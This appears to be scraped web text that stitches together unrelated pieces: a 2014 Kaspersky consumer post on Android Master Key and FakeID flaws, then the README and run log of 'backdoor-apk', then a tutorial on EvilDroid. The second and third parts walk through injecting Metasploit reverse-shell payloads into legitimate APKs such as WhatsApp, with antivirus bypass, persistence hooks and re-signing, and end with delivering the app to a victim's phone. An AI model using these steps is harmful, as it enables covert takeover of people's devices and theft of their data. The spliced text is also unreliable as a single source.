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android	Unpatched	flaws	in	Android	make	your	device	vulnerable	to	“Invisible”	infection.	You	better	find	out	now	in	order	to	protect	yourself.	Marvin	the	Robot	August	15,	2014	Update:	The	app	described	in	this	post	is	discontinued.	To	protect	your	Android	smartphone	or	tablet	use	Kaspersky	Internet	Security	for	Android.	Android	OS	has	settled
down	for	good	on	the	top	of	the	two	hit	parades.	Firstly,	it	is	a	mobile	OS	rating.	Secondly,	it’s	the	rating	of	the	mobile	platforms	which	are		being	infected	most	often.	According	to	Kaspersky	Lab	more	than	99%	of	mobile	malware	are	Android-oriented.	Applications	on	Google	play	are	being	regularly	checked	to	safeguard	users,	moreover	Google	has
implemented	a	number	of	protective	measures	in	the	Android	OS	itself.	For	example,	during	the	application	installation	there	is	verification	which	can	guarantee	the	origin	of	a	software	and	the	confidence	that	files	were	not	changed	by	strangers.	Unfortunately,	these	measures	are	not	perfect	and	malware	has	had	a	good	opportunity	to	get	into	the
smartphone	by	a	back	door	for	a	long	time.	The	backdoor	The	last	year	specialists	found	several	flaws	in	the	Android	protection	mechanisms.	Because	of	these	flaws,	a	malicious	application	can	penetrate	the	smartphone	by	disguising	itself	as	a	popular	and	trusted	service,	or	by	“piggybacking”			the	legitimate	application,	i.e.	adding	itself	into	the
installation	package.	The	vulnerabilities	called	Master	Key	and	FakeID	are	presented	in	most	of	the	modern	Android	smartphones.	They	are	a	little	bit	less	famous	than	renowned	Heartbleed(Android	smartphones	are	also	subjected	to	it	partly),	but	it	is	very	important	to	remove	them.	The	difficulty	is	that	although	Google	released	the	necessary	fixes
long	time	ago,	they	should	be	implemented	by	either	particular	smartphone	and		tablet	computer	vendor	or	by	a	mobile	operator	that	distributes	them.	And	then	the	owner	of	this	particular	device	should	download	and	install	this	update.	This	often	happens	with	a	significant	delay	and	often	doesn’t	happen	at	all.	So	the	amount	of	vulnerable	devices
numbers	millions.	To	seal	the	hole	To	get	rid	of	the	vulnerability	without	any	assistance	is	not	easy,	but	you	can	minimize	associated	risks	for	your	devices.	Here	are	the	steps	to	do	that:	Check	if	there	are	such	vulnerabilities	as	FakeID,	Master	Key	or	Heartbleed	on	your	smartphone	or	a	tablet.	You	can	use	the	free	scanner	from	Kaspersky	Lab	which
is	available	on	Google	Play.	Besides	the	presence	of	the	vulnerability,	it	also	examines	if	there	are	applications	installed	which	use	this	vulnerability.	If	your	device	is	vulnerable,	check	whether	firmware	(phone	software)	updates	are	available.	Most	Android	vendors	have	a	special	“check	for	update”	section	in	the	settings,		but	in	some	cases	you	have
to	visit	the	official	producer’s	web-site.	If	updates	are	available,	install	them	according	to	the	manual	and	check	your	device	as	in	p.1	again.	FakeID	vulnerability	allows	a	malicious	app	to	sneak	into	your	Android	smartphone	–		learn	how	to	fix	it.Tweet	If	the	vulnerability	hasn’t	been	addressed	yet,	you	could	fix	the	breach	by	yourself,	but	it	takes	many
complicated	and	somewhat	unreliable	procedures,	which	wouldn’t	be	recommended	to	the	general	public.	(If	you	are	brave	enough	and	literate	in	this	area	you	could	read	more	on	the	xda-developers	website.)	Unpatched	vulnerability	isn’t	a	cause	to	throw	the	smartphone	away,	but	you	have	to	be	vigilant	to	avoid	loss	of	money	and	data:	Use	only
large	official	applications	stores	(think	Google	Play)	Download	only	the	apps		with	high	popularity	and	ratings	Control	the	permissions	of	the	application	Use	Reliable	Android	Security	software.	Update:	The	app	described	in	this	post	is	discontinued.	To	protect	your	Android	smartphone	or	tablet	use	Kaspersky	Internet	Security	for	Android.	Malware
using	Tor	for	communication	with	C&C	servers	is	a	novelty;	it	may	not	make	the	malware	itself	more	dangerous,	but	eradicating	it	becomes	a	much	more	serious	problem.	How	things	are	privacy-wise	on	the	social	network	Poparazzi.	We	review	a	major	cryptocurrency	theft	using	spyware	inside	a	PDF.	How	scammers	swindle	users	out	of
cryptocurrency	through	a	fake	Nvidia	giveaway	supposedly	worth	50,000	BTC.	How	scammers	lure	YouTube	users	to	a	fake	website	where	a	purported	bug	lets	them	exchange	Bitcoin	at	an	excellent	rate.	backdoor-apk	is	a	shell	script	that	simplifies	the	process	of	adding	a	backdoor	to	any	Android	APK	file.	Users	of	this	shell	script	should	have	the
working	knowledge	of	Linux,	Bash,	Metasploit,	Apktool,	the	Android	SDK,	smali,	etc.	This	shell	script	is	provided	as-is	without	warranty	of	any	kind	and	is	intended	for	educational	purposes	only.Changelog	0.2.4a	(2018-09-28)Bug	FixesFixed	issue	signing	a	recompiled	APK	with	the	original	APK	not	in	the	same	directory	as	the	backdoor-apk.sh
script0.2.4	(2018-09-27)ImprovementsRemoved	proguard	as	the	Metasploit	msfvenom	tool	used	to	create	the	Android	RAT	payloads	now	uses	itHooking	and	injection	logicBug	FixesFixed	various	issues	identified	with	RAT	payloads	generaeted	with	more	recent	versions	of	msfvenomFixed	issue	with	the	const-string	obfuscation	technique	that	could
silently	break	recompiled	APKsDownloadgit	clone		kali:~/Code/github/backdoor-apk/backdoor-apk#	./backdoor-apk.sh	BaiduBrowser.apk________/	______	\||	_	_	|||||	||	|||	AAAAAA	PPPPPPP	KKK	KKK|||_||_|||	AAA	AAA	PPP	PPP	KKK	KKK||	_	_o||	(o)	AAA	AAA	PPP	PPP	KKKKKK|||	||	|||	AAAAAAAA	PPPPPPPP	KKK	KKK|||_||_|||	AAA	AAA	PPP	KKK	KKK||______||
AAA	AAA	PPP	KKK	KKK/__________\________|__________|__________________________________________/____________\|____________|	Dana	James	Traversie[*]	Running	backdoor-apk.sh	v0.2.4a	on	Mon	Oct	9	16:50:06	EDT	2017[+]	Android	payload	options:1)	meterpreter/reverse_http	4)	shell/reverse_http2)	meterpreter/reverse_https	5)	shell/reverse_https3)
meterpreter/reverse_tcp	6)	shell/reverse_tcp[?]	Please	select	an	Android	payload	option:	2[?]	Please	enter	an	LHOST	value:	10.6.9.31[?]	Please	enter	an	LPORT	value:	443[+]	Android	manifest	permission	options:1)	Keep	original2)	Merge	with	payload	and	shuffle[?]	Please	select	an	Android	manifest	permission	option:	1[+]	Handle	the	payload	via
resource	script:	msfconsole	-r	backdoor-apk.rc[*]	Generating	RAT	APK	file…done.[*]	Decompiling	original	APK	file…done.[+]	Keeping	permissions	of	original	project[*]	Running	proguard	on	RAT	APK	file…done.[*]	Decompiling	obfuscated	RAT	APK	file…done.[*]	Creating	new	directories	in	original	project	for	RAT	smali	files…done.[*]	Copying	RAT
smali	files	to	new	directories	in	original	project…done.[*]	Fixing	RAT	smali	files…done.[*]	Obfuscating	const-string	values	in	RAT	smali	files…done.[*]	Locating	smali	file	to	hook	in	original	project…done.[*]	Adding	hook	in	original	smali	file…done.[*]	Adding	persistence	hook	in	original	project…done.[*]	Recompiling	original	project	with	backdoor…
done.[*]	Generating	RSA	key	for	signing…done.[*]	Signing	recompiled	APK…done.[*]	Verifying	signed	artifacts…done.[*]	Aligning	recompiled	APK…done.root@kali:~/Code/github/backdoor-apk/backdoor-apk#The	recompiled	APK	will	be	found	in	the	‘original/dist’	directory.	Install	the	APK	on	a	compatible	Android	device,	run	it,	and	handle	the
meterpreter	connection	via	the	generated	resource	script:	msfconsole	-r	backdoor-apk.rcDemoCopyright	(C)	2016	dana-at-cpSource:		Reading	Time:	3	minutes	Hey	readers,	today	we’ll	see	how	to	create	a	backdoor	using	EvilDroid.	Since	Android	users	have	increased	in	the	last	decade	and	this	led	android	devices	to	be	more	prone	to	getting	hacked
and	for	the	same	we	have	many	tools	for	creating	payloads.	Earlier	we’ve	seen	MSF	venom	for	the	same	purpose	but	in	that,	we	need	a	host	so	that	the	data	could	travel	to	the	attacker.	Here	we’ll	be	using	EvilDroid	as	we	don’t	need	any	host	website	to	make	the	data	travel	to	the	attacker.	For	installation	of	EvilDroid,	Just	write	the	below	command
on	your	terminal:	git	clone	By	running	the	above	command,	the	repository	will	be	cloned	on	your	local	system.	For	running	the	EvilDroid,	you	have	to	change	the	permissions	of	the	script	file	to	executable.	For	the	same,	you	have	to	run	the	below	commands:	cd	Evil-Droid/	sudo	chmod	+x	evil-droid	Then	for	running	the	script,	run	the	below	command:
./evil-droid	By	running	the	above	command,	you’ll	see	that	necessary	dependencies	will	be	downloaded	by	the	EvilDroid	itself	as	shown	below.	For	the	next	step,	a	prompt	will	come	onto	your	screen	asking	for	launching	the	executable	service	of	EvilDroid	like	below.	Hit	YES	and	you’ll	see	the	interface	of	Evildrois	as	below.	Here	we’ll	select	the	4th
option,	the	BYPASS	AV	APK.	Then	a	prompt	will	appear	in	front	of	you	asking	for	the	host	IP	and	it	will	look	like	below:	Then	it	will	ask	you	to	enter	the	port	number	on	which	you	want	to	listen	to	the	traffic.	and	it	will	look	like	below:	After	that,	it	will	ask	you	the	name	of	the	APK	file	that	is	going	to	be	built	as	below:	Now	a	new	dialog	box	will	appear
asking	for	payload	and	we	have	to	choose	for	android/meterpreter/reverse_tcp	as	it	is	an	apk	file	so	we	have	chosen	so.	Then	you	have	to	download	the	Whatsapp	APK	to	embed	our	backdoor	into	that.	and	it	will	ask	you	like	below.	And	you	have	to	choose	original-APK	and	choose	the	apk	file	you’ve	downloaded.	Later	it	will	generate	the	payload	and
you’ll	see	your	backdoor	being	generated	like	below:	Once	this	is	done,	then	Evil-droid	will	present	you	with	the	communication	protocol	and	you	have	to	choose	Multihandler.	It	will	automatically	start	the	Metasploit	Multihandler	and	will	be	listening	to	the	incoming	connection.	After	that,	navigate	to	/Evil-Droid/evilapk	and	you’ll	find	your	payload
over	there.	Now	you	have	to	transfer	that	apk	to	the	victim’s	Android	device	and	run	that	apk	on	that	device.	Just	after	that	apk	runs,	it	will	look	like	a	standard	Instagram	installation,	and	in	the	backend,	it	will	send	the	attacker	a	reverse	shell	TCP	connection.	And	there	you	go.	For	more	information,	click	here.	Note:	Use	this	for	knowledge	purposes
only	as	hacking	into	someone	else’s	device	comes	under	cybercrime.
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